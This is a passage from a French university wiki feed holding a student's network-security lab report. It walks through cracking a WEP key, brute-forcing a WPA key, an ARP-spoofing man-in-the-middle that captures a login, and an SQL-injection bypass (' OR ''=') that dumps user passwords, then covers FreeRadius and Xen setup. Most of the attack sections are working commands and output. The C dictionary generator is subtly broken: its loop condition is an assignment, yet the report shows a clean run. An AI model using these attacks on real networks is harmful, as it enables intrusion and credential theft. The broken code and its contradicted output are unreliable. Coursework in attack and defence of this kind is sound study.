On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54471</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54471"/>
				<updated>2020-12-14T12:09:59Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
